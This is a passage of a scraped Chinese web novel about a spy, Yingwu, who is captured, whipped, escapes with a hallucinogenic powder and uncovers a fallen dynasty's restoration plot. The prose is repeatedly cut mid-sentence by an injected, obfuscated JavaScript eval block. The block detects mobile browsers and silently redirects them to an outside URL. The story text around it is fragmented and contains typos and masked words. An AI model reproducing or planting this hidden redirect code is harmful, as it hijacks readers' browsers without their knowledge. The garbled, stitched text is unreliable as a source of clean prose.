RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16287973|182640||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >他借着这个机会,悄然朝着那个方向忘了,几乎是瞬间就锁定在了一个正坐在大堂中央偏左侧的位置,默默吃着面前几道菜的一个男人。 那是一个中年男子,身材有些臃肿,头上包着布巾,脸上还有一道疤。 俨然就是一副屠夫打扮的模样。 接着店小二朝着他的方向走过来,点头哈腰的给他送上了一壶酒,说是老板赠送的。 男人露出一个笑容,发了两句老板和店小二,接着就大方的从自己的腰包中掏出一锭碎银子来,扔给了店小二。 店小二高兴的不得了,又是好一番鞠躬行礼,这才转身去忙碌了。 看样子,他是这里的熟客,经常来这里。 自己自从被正规的禁军抓了,一直到来到京城,最多不过半个月的时间。 半个月的时间,就算这男人出手,再怎么大方,也不至于让老板送上这么一壶好酒。 毕竟那醇厚的香味,隔着老远都已经飘到影巫的鼻子里了。 这家店的规模中规中矩,平日里的收成应该稍微比其他的客栈好上一些,但也不是什么太好的客栈酒楼,菜色也相对不是很好。 所以,老板不可能那么大方。 影巫微微眯了眯眼,心中忽然有了一个揣测。 这个人,应该是已经在京城潜伏许久了。 至于他在中间是否离开过京城,亲眼见到了郑遂的禁军,将自己抓走还未可知。 但可以确定,他包藏祸心,已非一日两日。 迅速弄清了这一点,影巫连忙收回了视线,脚步也落在了最后一节台阶。 影巫淡定地从过道间走过,然后他就感觉到那人灼热的目光落在了自己的身上。 在自己刚刚踏出客栈的瞬间,那种如影随形的感觉再次袭来。 而且这一次他贴的比上次更近了。 准确形容的话,他们二人之间大约应该只隔着不到三个人,紧挨着前行的距离。 影巫有感觉,这个人似乎是想要将自己抓走,询问一些事。 第143章 务必问出真相 或许在他看来,自己是一个能打开皇宫的口子。 想到这里,影巫逐渐放缓了脚步,尽量自然地往一些偏僻的地方走。 很快,他穿过曲曲折折的小巷,转了个弯,进入了另外一条路。 这里已经是人烟罕见的地方了。 影巫能够感觉到,身后那人在自己刚刚进入小巷的时候,稍微把距离拉开了一些,不过确定周遭无人之后,他就紧跟了上来。 不过那人的脚步却一直很轻很轻,正常人根本就无法察觉。 若非是影巫自己有本事,只怕他再不回头的情况下也根本没办法察觉到身后有人跟随。 这无疑是在向影巫证明,这人的功力高强,非等闲之辈。 影巫深吸了一口气,越发往那种人烟稀少,静悄悄的深处走去。 终于,他感觉到身后的人有些躁动起来,似乎是忍不住了。 刚冒出这个想法的下一秒,身后的人就猛的冲了出来。 大手狠狠一抓,精准的捏在了影巫的后脖梗上。 他手上传来的触感类似于**,但身为同行,影巫能够感觉到,手上是贴了一层假皮。 影巫猛地瑟瑟了一下,顾左厨衣服被吓到了的样子,惊慌不错的转过头来,接着就猛的对上了那人的脸。 果然,就是他在客栈里确定的那个男人。 “你是谁……”影巫声音颤抖的问道。 男人顶着一张刀疤脸,骤然凑近影巫,嘴角缓缓勾起一个意味深长的笑。 “小兄弟,你不需要知道我是谁。我对你也没有任何恶意,只是想请小兄弟你去寒舍叙上一叙。” “我根本就不认识你,有什么好和说的?!”影巫故作出一副慌张之下失声尖叫的样子。 男人明显脸色一沉,但却还挂着那么意味深长的笑。 “小兄弟你怕什么?人与人之间一开始的时候都是不认识的,可总有那个开头不是吗?” 说完,男人抬手朝着影巫的脖颈间重重的砸了过去。 影巫虽然对男人的动作早有预判,不过显然还是低估了一些。 这人的功力很强,尽管影巫在他袭来的一瞬间已经调息护体,但却依旧感觉到脖颈间传来一阵剧烈的疼痛,像是颈椎骨要被砸碎了一般。 影巫反应很快,直接顺势闭上了眼睛,身子一软瘫在了男人的手上。 呼吸也放轻了起来,就像是一副真的陷入了昏迷之中的模样。 “小东西,还敢叫。”男人发出一声不屑的嗤笑。 “你不识好歹就别怪兄弟不讲义气了。” 随即男人像是甩破麻袋一样,把影巫往肩上一扛,抬步就走。 影巫在他看不见的地方悄然睁开了眼。 他所能观察到的范围有限,不过却并不妨碍影巫能够观察到他们向前行进的路线。 男人扛着他在小巷里穿梭着大概走了百余步,向东侧转身进入了另外一个巷子。 接着又七拐八拐,停到了一个破落的院子前。 影巫的心中已经隐隐有了路线图,也知道了男人带自己来的是何处。 这里正是京城的一片破落贫民区。 原先的时候,这里住着很多贫困的百姓,不过先帝在世的时候就认为这些平民住在这里有碍京城的形象。 所以就干脆大手一挥,拨了善款让户部尚书带着,这些百姓离开了京城于西郊,建造房屋,并且拨了一部分田地给他们种。 那会儿朝中的风气还要比现在好上很多,至少贪官污吏的事很少出现。 所以那会儿被救助了的那些百姓,对于先帝倒是感恩戴德,当时先帝在百姓中的风评可是比现在好多了。 影巫想着,微微抬起眼皮看了一眼。 这虽然是他第一次来到京城,不过曾经鬼师来过一次,对于京城的情况大概了解,有事没事的时候便会和警务提起京城中的事,所以引物对这些事情还是有所了解。 即便他并不知道鬼师当时是抱着什么样的心态与自己讲起了京城中的事,或者有没有可能那个时候鬼师就已经动了,要将他作为一枚弃子的念头,但总归鬼师提起的那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16287974|182640||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 些事,确实是在此刻帮了自己很大的忙。 这处贫民区中的百姓被带走了之后,先帝的身体就不太好了。 原本这一片是要拆除的,但是那个时候先帝精力不济管不了那么多,也只能暂且安置。 再后来就有了徐敬意那档子事,先帝更是顾不上去拆除一个贫民窟了。 因此眼前所见的小院无论是院墙还是门板都是灰扑扑的,一派破败之相。 影巫心中更加确定自己就是来到了那个所谓的贫民窟。 紧接着男**手推开了面前的门板,破旧的木门发出吱吱呀呀的刺耳声响,听到声音后里边立刻有人出来接应。 对着男人道了一声:“殿下,你回来了?” 殿下? 影巫缓缓皱起了眉。 可被称之为殿下的人就能有谁? 不是太子,就是藩王。 但目前为止却也没听说过朝中有哪个藩王又悄悄的回了京城,还暗中布局。 虽然郑遂的崛起有那么点晚,这以他的能力应该不会打听不出这些事儿吧? 那难道是…… 影巫的心中忽然冒出了一种不祥的预感。 大齐周边小国不少,莫非这是周边哪个小国的皇子,甚至是附属国的王爷? 正当影巫思索之时,已经有人将自己从男人的手中接了过去,随后他就被人扛进了一旁的柴房之中,随手丢在了干草堆上。 然后把自己送过来,那人走了出去,在院子里和男人低声交谈。 “殿下打算怎么处理这个人?” “找两个人好好招待他一下,要是他愿意说,你们也别太过分,要是他不愿意说用什么手段都不为过,只要人还活着就行。但是切记不管用什么样的方法,都得从他口中逼问出真相了。” 男人并没说所谓的真相是什么,但是对面的人却似乎心知肚明一般,没有过多追问。 这足以见,他们所谓的计划应该已经盘算了,不是一日两日了,而且这男人的手下也知道他今天出门这一趟是为了什么。 第144章 撕心裂肺的求饶。 片刻之后,柴房的门被支呀一声推开。 来人脚步很轻,影巫能感觉到对方蹲了下来,接着轻轻拍了拍他的脸颊。 “小兄弟?小兄弟?醒醒……” 一个刻意放得低沉柔和的男声响起。 影巫的眼皮颤动了几下,缓缓睁开。 故作出一副迷茫的模样环视一周后,影巫眼里迅速堆满了惊惧。 他瑟缩着往后蹭了蹭:“你、你们是谁?这是哪里?放我出去!” 来人是个约莫四十多岁的汉子,面相普通,神色间带着点庄稼汉的憨厚,穿着洗得发白的粗布短打,只从外表上看倒像是个老实人。 听到影巫的话,他脸上挤出一个安抚似的笑容,递过来一个盛了水的粗陶碗。 “别怕,小兄弟,别怕。”汉子把碗往前送了送。 “喝口水,压压惊。我们不是坏人,就是有点事儿想问问你。” 影巫犹豫地看着那碗水,眼神惊恐地在汉子和门口之间游移,最终还是颤抖着接过碗,咕咚咕咚猛灌了几口。 “谢、谢谢……”影巫放下碗,颤颤巍巍的问。 “大哥,你们抓**啥?我就是个跑腿的,我啥也不知道啊……” “跑腿的?”汉子笑容不变,眼神却冷了一分,“给谁跑腿啊?小兄弟贵姓?家住哪里?” “我……我叫陈三?” 影巫飞快地编了个名字,眼神躲躲闪闪的,一副心虚而不敢直视对方的模样。 “就、就城外三里铺的,我没事就给……给城里贵人跑腿送点东西!” 影巫的含糊其辞,明显引起了汉子的注意。 “哦?三里铺的陈三?”汉子意味深长的点点头,“那贵人……是宫里头的?” 影巫猛地一缩脖子,像是被踩了尾巴的猫似的,几乎要跳起脚来。 连连摆手摇头:“不不不!不是宫里!我哪能认识宫里的贵人!咱们素昧平生的,大哥你可别害我!” “那你在客栈里,跟谁说话呢?”汉子问道。 “我瞧见你一个人坐在那儿,跟一个人嘀嘀咕咕的,说的……好像是陛下?还有徐敬意和相府?” 影巫的脸色骤然惨白,嘴唇哆嗦着,猛地低下头,双手紧紧抓住自己的裤腿。 “我那是……那是……” 影巫结结巴巴,急得额头冒汗,似乎在拼命寻找借口。 片刻后,他像是终于找到了。 “那是我……是我在学戏!对!学戏文!最近城里不是有草台班子唱……唱那个《忠义传》吗?讲前朝忠臣的,我、我跟着瞎学两句,过过瘾。我一个人住,闷得慌……” 汉子脸上的笑容骤然冷了。 “学戏文?学戏文学到客栈去了?你一个送货的,有钱住客栈?” 影巫浑身一僵,支支吾吾的说不出话来。 “陈三兄弟,”汉子的声音彻底冷了下来。 “想来你也是个聪明人。我们主子只是想知道,影巫那个本该**,却被皇帝悄悄带走的巫蛊师,他到底给你交代了什么任务?他让你在相府盯着徐敬意,具体要做什么?皇帝下一步,打算怎么动徐相?” 他死死盯着影巫惊恐的眼睛:“说出来,你就能活命,还能得一笔银子,安安稳稳回你的三里铺。不说……” 汉子顿了顿,嘴角扯出一个诡异的笑容。 “这柴房里的家伙事儿,可不少。咱们兄弟,有的是耐心陪你玩。” 影巫的瞳孔骤缩,却依旧翻来覆去的说着:“我不知道,我真的不知道什么影巫!我就是个跑腿的!放过我吧!求求你们了!” 汉子脸色忽然沉了下来。 “看来,你是敬酒不吃吃罚酒了。” 汉子冷冷地丢下一句,转身走向门口,对着外面扬声道。 “老四,栓子!进来!这位小兄弟骨头硬,需要你们帮他松松筋骨!记住,主子说了,务必问出影巫交代他的真相!” 柴房的门被彻底推开,两个面相凶悍的汉子走了进来,手里拎着麻绳和一根浸了水的皮鞭。 他们看着蜷缩在角落里的影巫,对他诡异一笑,猛的冲上来,一把将蜷缩的“陈三”从草堆里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16287975|182640||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 薅了出来,开始撕扯他身上的粗布衣裳。 “不说?那就好好受着!” “别、别扒我衣服!求求你们了!我真不知道啊!” 影巫哭天抢地,拼命挣扎,但身穿的粗布外衫很快被扯下,露出里面同样破旧的中衣。 啪! 浸了水的皮鞭破风,发出一声尖锐的声响,狠狠抽在影巫裸露的肩背上。 “啊!!!”影巫发出一声撕心裂肺的惨叫,身体猛地一弓,眼泪鼻涕糊了一脸。 “说不说?影巫那王八蛋让你干什么了?!”另一个汉子在一旁恶狠狠地逼问。 啪!啪!” 又是两鞭子下去,影巫的背上又添新伤。 他疼得蜷缩在地,撕心裂肺的求饶。 “好汉饶命!我就是个跑腿的!我真的什么都不知道,真不知道啊!饶了我吧!” “**,嘴是真硬!”汉子打出了火气,扬起鞭子就准备再抽。 就在这时,一直盯着影巫反应的那个叫老四的汉子眉头却越皱越紧。 忽然,他猛地蹲下身,一把捏住影巫的下巴,强迫他抬起头。 影巫脸上依旧是那副痛不欲生、涕泪横流的可怜样,但老四的目光却死死锁定在他侧脸上的的鞭痕上。 那红肿的鞭痕,似乎有些过于均匀了。 而且,这脸上皮肤触感…… 怎么感觉有点怪?不是活人皮肉那种温热弹性的感觉,反而带着点……粘腻的凉意? “等等!”老四厉声喝止了同伴再次扬起的鞭子。 他手指猛地用力,狠狠掐向影巫的脸。 嘶啦一声! 被老四掐住的那一小块“皮肤”,竟然被他硬生生撕开了一个角。 露出的,根本不是血肉,而是一种暗沉的、像树脂一样黏黏糊糊的诡异东西! 与此同时,他还闻到了一股极淡的、却令人本能感到不适的腥甜气味。 “操!他不是人?!”老四惊得后退一步。 谁家活人长成这样?这他妈不会是个怪物吧! 第145章 被算计了 老四垂眸看着自己手指上沾着的,被他那块撕下的皮,又惊又怒地瞪着地上还在痛苦呻吟的人。 “你到底是什么东西?!你对老子们做了什么?!” 地上的“陈三”忽然停止了呻吟。 他缓缓地、用一种极其诡异的姿态抬起了头,随即忽然笑了。 “做了什么?”影巫歪了歪头,咧嘴一笑。 “没做什么啊,是你们自己……太着急上钩了。” 话音落下,那股从撕破呢“皮肤”处弥漫出的腥甜气味骤然爆发,瞬间变得更加浓郁,呛的人几乎睁不开眼睛,更是熏的人想吐。 “呃……”老四发出一声痛苦的闷哼,猛地捂住头,还未反应过来,眼前就一阵天旋地转。 像蒙了雾似的,什么都看不清了。 老四使劲眨了眨眼,等他眼睛再睁开时,忽然发现自己已经不在那个破旧的柴房里了。 他正置身于一处华丽温暖的房间里,面前是一张挂着粉色纱帐的小床,一个穿着轻薄纱衣、眉眼含春的绝色美人坐在上面,媚眼如丝的看着他。 微微一笑:“四哥回来啦。” 她玉臂轻舒,勾上老四的脖子。 老四难以置信的瞪大了眼睛:“小翠?!我的小翠!你回来了!” 老四张开双臂,脸上露出傻笑,朝着空无一物的柴房角落扑了过去,嘴里还含糊不清地喊着。 “别走小翠!别走!我的银子都给你!都给你!” 影巫满意的看着眼前的场景,随后转头看向旁边。 另一个汉子的反应则截然不同。 他瞬间双目血红,眼神贪婪,死死盯着地面。 接着猛地扑倒在地,双手疯狂地在地上抓挠着干草。 狂喜地嘶吼着:“发财了!老子发财了!都是我的!金子!全是金子!哈哈哈哈哈!” 柴房内瞬间乱作一团。 一个对着空气又搂又抱,痴迷呓语。一个在地上疯狂打滚,抓挠嘶吼,状若疯癫。 还有个对着墙又哭又喊:“娘……娘您没死?娘……孩儿好想您……” 影巫悠悠起身,掸了掸身上的土,转身走向窗边。 柴房的门终于被猛地推开,那个刀疤脸男人听到动静,闯了进来。 看到眼前的场景,男人心下一沉。 “怎么回事?!人呢?!”男人厉声喝问。 这屋里除了几个自己正在发疯的手下,哪里还有那个人的影子?! 整个屋子都弥漫着一股诡异的腥甜气息。 这种熟悉的斯维尔,让男人瞬间明白自己中计了。 “废物!”男**骂一声。 转头抄起门口一个破木桶,冲到院子里的水缸旁,舀起一大桶冰冷的井水 冲回柴房,对着地上打滚发疯的手下泼了过去。 刺骨的冷水把他们几个浇了个透心凉,正沉浸在幻觉中的人猛地一个激灵,动作瞬间僵住,眼前的景象迅速退去。 他们惊讶的看向彼此,才发现他们依旧在柴房。 “人呢?!那个杂碎呢?!”男人一把揪住老四的衣领,厉声质问。 “刚才发生了什么?!他做了什么?!” 老四一个激灵,清醒过来,终于明白了是怎么回事。 顿时瑟瑟发抖的道:“殿、殿下,他不是人啊!他的皮能撕开,接着我就闻到一股怪味儿,然后………然后我就看见小翠回来了……” “放屁!”男人气得一巴掌扇在老四脸上,又猛地转向还在瑟瑟发抖的栓子。 “你说!” 栓子一个哆嗦,语无伦次:“我、我看到好多金子…… “滚!”男人怒骂一声。 几个杀千刀的,连自己中了蛊虫磨成的干粉做成的**都不知道! 他就知道,这几个废物成事不足,败事有余! 男人猛地松开栓子,转身冲出了柴房。 可哪里还有那人半点踪迹? “影巫!!”男人终于意识到了什么,低吼一声, 竟然敢耍他! 好好好,那老子就要了你的命! 男人转头就冲了出去,直奔那家客栈。 他发了疯般冲进客栈大堂。 客栈老板看到这位熟客又去而复返,先是一愣,飞机脸上堆满了笑容,想上前招呼。 却被男人看也不看,粗暴地一巴掌狠狠扇开。 “滚开!” 老板惨叫着跌倒在地。 男人看也不看,径直冲上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16287976|182640||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 二楼。 找到影巫之前开的那间房,抬脚狠狠一踹! 砰的一声,单薄的木门应声而开! 房间内一切如旧。 桌边椅子对着床铺,而床铺上,那个用被褥精心堆叠出的、伪装成坐姿的人形,正静静地坐在那里。 操! 男人气的几乎要发疯。 原来这屋子里除了影巫以外,根本就没有第二个人,自己竟然被一个假人给糊弄了! 他气了个半死,几乎要吐血,却忽然在假人旁边的窗帘上发现那里静静的躺着叠起来的纸条, 男人瞳孔一缩,几步上前,一把抓起纸条展开。 上面只有三个用炭笔潦草写就的字:我去也。 “混账!!”男人怒吼。 他猛地将纸条揉成一团,狠狠摔在地上。 这简直是奇耻大辱! 他堂堂…… 竟然被一个巫蛊师**于股掌之间! 男人眼中杀机顿生,再没有任何迟疑,转身冲出客栈。 门口恰好有个商贩正牵着一匹驮着货物的马经过,男人立刻冲过去,一把夺过缰绳。 在商贩惊恐的尖叫和阻拦声中,狠狠一脚将其踹开。 “滚!这马征用了!”男人翻身上马,甚至没给商贩任何补偿。 猛地一夹马腹,鞭子狠狠抽在马臀上。 “驾!!!” 马吃痛,嘶鸣一声,撒开四蹄,载着暴怒的男人朝着京郊的方向狂奔而去。 马蹄声如雷,卷起一路烟尘。 距离客栈不远的一条小巷口,一个推着独轮车、慢悠悠走着的老货郎停下了脚步。 他戴着破旧的斗笠,帽檐压得很低,抬头看见那绝尘而去的奔马背影,斗笠阴影下,老汉嘴角缓缓勾起一抹冷笑。 他随手将独轮车往墙根一靠,动作自然地拐进旁边一条更窄的岔路。 片刻之后,一个穿着半旧青色长衫、背着书箱的年轻书生从岔路的另一头走了出来。 他扶了扶头上的方巾,目光扫过男人消失的方向,随即迈开步子,不紧不慢地沿着官道,也朝着京郊的方向走去。 影如鬼魅,形若流水。 真正的猎手,此刻才悄然跟上。 第146章 出了一个昏招 男人一路纵马狂奔至京郊,远离官道的一片林子深处的一个宅子门口。 他翻身下马,看也不看门口两个守卫,直接一把推开虚掩的侧门,大步流星地闯了进去。 影巫所化的落魄书生见状在不远处的林边便停下了脚步,他佯装整理书箱,目光却飞快地丈量着这座宅院的布局。 片刻后,他绕到宅院侧面一处林木相对茂密的角落,悄无声息地攀上墙头,借着屋脊的遮挡,迅速而轻盈地朝着主屋方向移动。 落脚之处,轻如鸿**,未惊动一片砖瓦。 主屋之内,气氛压抑。 一个苍老的声音就头盖脸砸了过来:“混账东西!谁让你擅自行动的?!还弄出这么大动静?!” 厅堂上首坐着一个须发皆白老人,他穿着一身洗得发白的旧式锦袍,脸色青黑,显然气得不轻。 男人脸上那刀疤抽搐了一下,单膝跪地,沉声道:“父皇息怒!儿臣并非擅自行动,而是那影巫太过狡猾,我们……我们可能暴露了!” 父皇? 影巫皱起了眉,屏息凝神,细细的听着。 “暴露?!”老人的声音陡然拔高,“你再说一遍?!” 男人咬牙,快速将方才发生的事告诉给了老人。 “废物!成事不足败事有余的东西!”老人听完,气得浑身发抖,手指几乎要戳到慕容冲的鼻子上。 “朕跟你说过多少次?!郑遂那小儿绝非易于之辈!他能悄无声息地收服影巫,就证明他身边有高人!你贸然去试探,还被人反将一军,打草惊蛇!现在好了!他必然已经知道,有人在暗中窥伺,甚至知道我们在找影巫!你这是把我们的底牌掀开给人看了!” “父皇!”男人猛地抬头。 “儿臣也是想尽快摸清郑遂的底牌!影巫是他手中一把暗刀,若能掌控或除掉,对我们复国大业……” “复国?!你还想着复国?!”老人猛地一拍扶手,打断了慕容冲的话。 “复国?!拿什么复?!看看我们现在!看看我们大燕!像什么样子?!像一群躲在阴沟里的老鼠!连自己的国都、自己的子民都护不住!” 老人说着,竟悲从中来,脸上老泪纵横。 “我们大燕,曾经也是雄踞北方的霸主!如今呢?连苟延残喘都如此窝囊!连一个小小的巫蛊师都能如此戏耍我大燕的皇子!这就是你慕容冲的本事?!这就是我们慕容氏最后的指望?!” “父皇!”慕容冲被骂得脸色铁青。 **的耻辱、父亲的责骂、今日被戏耍的怒火交织在一起,让他几乎失去理智。 他霍然起身,手按在了腰间的剑柄上。 “你、你难道还要**不成?!”老人手指颤抖的指着慕容冲,难以置信的看着他。 伏在主屋房顶阴影中的影巫却也愣住了。 大燕!那个地处北边,曾经也强盛过,却早就被周遭匈奴部落给灭了国的大严? 在眼前这个老者,就是那**皇帝,慕容泓了! 怎么会是他们…… 影巫难以置信。 屋子里面的父子二人依旧剑拔**张,显然是谁也看谁不顺眼,但却无法轻易动手。 慕容冲已有警惕之心,看来此地不宜久留,得速速离开。 总归已经知道了对方是谁,这事情就好办。 还是赶紧回去,告诉郑遂要紧! 影巫如来时一般悄然离开,迅速抄小路返回了皇宫之中。 皇宫一处并不起眼的偏僻小门,王喜已在里边等了许久。 见到影巫终于归来,王喜心中长长的松了一口气。 “哎哟,我的小公子啊,您可算是回来了,可把奴才给吓坏了!” 王喜拉着影巫,急忙就要朝乾清宫走去。 可就在一转身的功夫,却忽然看到影巫走时还好好的衣裳此刻竟然沾了点点血污。 细看下去就会发现那星星点点的血渍竟能连成一线,而且还有好几道,明显就是受了伤。 “这是怎么回事? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16287977|182640||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”王喜大惊失色。 影巫连忙朝着王喜做了一个噤声的手势。 “公公莫慌,我无事,咱们还是快快回去见陛下吧。” 王喜连忙捂住嘴,颤颤巍巍的点头,即刻带着影巫赶往乾清宫。 郑遂见到影巫身上的血渍,亦是同王喜一样皱起了眉。 “这是怎么搞的?”郑遂问道。 “回陛下,属下无碍。”影巫却顾不得这些,匆匆忙忙地对郑遂禀报道。 “陛下,奴才跟踪那人得到了一些消息。“ 听过了影巫的汇报之后,郑遂意识有些惊讶的转过头去。 大燕? 怎么会是他呢? 这大燕早就已经灭国了,至少在原主的印象里,他还未出生的时候,世上就已经没有了大燕这个国家。 说起来,怎么着也得有二三十年了。 不过有关于这个国家的故事,确实常在民间流传。 他们是被匈奴部落所灭的国,且鸠占鹊巢,将其国土版图直接纳入了匈奴的版图之内。 但说起来,当时北边匈奴早已失势,大不如前。 莫说是对抗大燕这么一个大国,就算是对抗周边虎视眈眈的小国,之前就也是难于登天的。 可大燕竟然就这么被灭国了。 说起来也是可笑,当时那匈奴首领单于率领部下,前往大燕,说是要投诚。 打的是周边小国对他们觊觎已久,必要处之而后快的理由,先接触的,是大燕的太子,也就是影巫所见到的那个慕容冲。 当年诸位皇子之中,最有能力与慕容冲相较量一番的是三皇子。 其母族势大,哪怕慕容冲是皇后所生,皇后的娘家也是朝中的显赫家族,胜算亦不是那么大。 慕容冲急于立功,想稳住自己储君之位,于是便与那单于来往密切,准备等到合适的时机,带单于亲去面圣。 但此事,不能提的太过于突兀。 所以为了打基础,慕容冲出了一个昏招。 第147章 犹豫坏大事 他未经老皇帝允许,就私自许诺单于,帮其逼退周遭那些小国的袭击。 条件是,之后匈奴部落将归于大燕板图。 届时他会向慕容泓请旨,封单于为亲王。 其家人皆可享亲王亲眷的待遇,其子民也可成为大燕的子民,其手足兄弟,亲近的部下更可入朝为官。 单于毫不犹豫的答应了这个条件,慕容成为了立功,调动了自己所管辖的军队,以及一部分宫中禁军,私自离开首都,直奔边关御敌。 可谁曾想,那单于从头到尾就没安好心。 匈奴部落横亘多年,虽被周边小国盯上,但匈奴善于马上作战,且平常风平浪静时其防线也看管极严。 那些小国虽调来了不少精锐部队,且是多国联合,但在匈奴部落很快就察觉到了异样,再加之行军打仗的时候,所用招法往往是那些小国闻所未闻的。 所以即便是对方派来的大部队,匈奴也可抵挡一二。 至少没有单于所说的那么艰难就是了。 他不想投入大量兵力正面应对,这样对他们部落的损伤太大了。 于是单于就想出了一个祸水东引的法子。 由他带着亲信前来投靠大燕,让那些小国以为,单于有意想要投靠大燕。 背靠了这么大的一个国家,若是他们大言真肯为单于做主,这些小国必然是吃不了兜着走。 对于那些小国而言,唯一的出路就是背水一战。 倘若能够瓜分匈奴部落,他们的边防线便可临近大处边境。 即便只是几个小国,但联合在一起,其压迫性绝对不少于大燕曾经对他们的威胁。 这样就算是大燕想要帮助匈奴**他们这些国家,也得好好思量上一番。 于是匈奴部落与周边几个小国的敌对,就变成了大燕和他们之间的恩怨。 如此,单于便可以趁机混水摸鱼,将自己的部落族人南迁,占领大燕的国土。 不过,若是换做老皇帝慕容泓的话,自己所能思量到的这些,慕容泓未必没有考虑。 如果直接拿这件事来找他,慕容泓定然不会同意,说不定还会直接因此记恨上了他,与那几个进攻匈奴部落的小国形成两面夹击之势,如此一来,匈奴部落岂不是只有一败涂地的下场? 所以单于盘算了一番,最终盯上了急于求成的太子慕容冲。 这件事儿不能去找三皇子,因为三皇子的外祖父手握兵权,行军打仗惯了,最是能明白这制衡之道。 且不说三皇子根本就不需要自己这个契机,就算是需要,三皇子拿到他外祖父面前一说,单于的心机也很容易被识破。 因而就是最好的一个选择。 在他太子之位岌岌可危之时,他定会愿意为了稳固住自己的地位而搭上自己的全部。 而他也的确有权力调兵遣将。 这样一来,大量兵力已经集结到了北边,前去与那些小国对抗。 大燕王都便空悬了下来,这就是单于取而代之的最好机会。 他们匈奴人向来诡计多端,大燕国虽然也向来被那些南边的国家称之为北夷,但到底也是学过儒法,懂得些礼数的。 论起心机谋算,那还真不如他们匈奴人。 左右王都已经空了下来,防御力不足,稍稍用些手段,便可挟持了慕容泓。 等到慕容泓反应过来的时候,大部队都已经到了边关去了,就算是想回来勤王护驾,又哪里来得及呢? 单于要做的,就是逼迫慕容冲抵御那些敌军。 只要能够拖住时间,将消息传到边境去,那些小国就会以为大燕这是真的要对他们动手了。 到时候他们必然会反扑的更加厉害。 如若换作慕容泓自己发号施令,必然会让边关的部队停下来,静观其变,尽量不要让两方真正兵戎相见。 但那个时候慕容泓已经被单于挟持了,不管发出的是什么号令,实际上都是单于的意思。 边关部队得到的消息,也是慕容泓让他们全力御敌。 等到两方终于反应过来不对劲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16287978|182640||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 儿,打的两败俱伤的时候,单于早就已经登上皇位,控制了大燕的实权了。 可那个时候他们又哪有力气反抗。 本就已经因为之前的苦战,而导致死伤过多。 连休养生息的时间都显得如此奢侈,又哪里有空复辟。 就这样,原本也算是显赫的北方大国,竟然在短短几月之内,就因为残余的算计和慕容冲的愚蠢就此落败。 堂堂大燕子民,最终也成为了匈奴的奴隶。 郑遂若有所思,片刻之后,忽然问道。 “三皇子的外祖父手握重权,难道他没有察觉到不对劲?” “鬼师通晓八方之事,属下跟随他之时,曾听他讲过。”影巫说道。 “当年,镇国公当年并非一点察觉都没有,但这是单于一直隐藏在背后,首当其冲,跳出来的是慕容冲。” 他自己犯了错,就算是慕容泓要为他收尾,可也得先抵御外敌再说。 至于算账,那都是之后的事了。 所以,镇国公当年也以为,既然是慕容冲自己犯蠢,那就任由他继续蠢下去。 根本不必对此事过度干涉,于是刚得到消息时,他就称病告假,手下的那些将士亦是按兵不动。 就等着慕容泓撑不住的时候,自己在主动**。 不仅能落得个在抱病的情况下都能为国为民奋力厮杀的好名声,还能直接坐收渔利,顺势让慕容泓废了太子,让自己的外孙子登上太子之位。 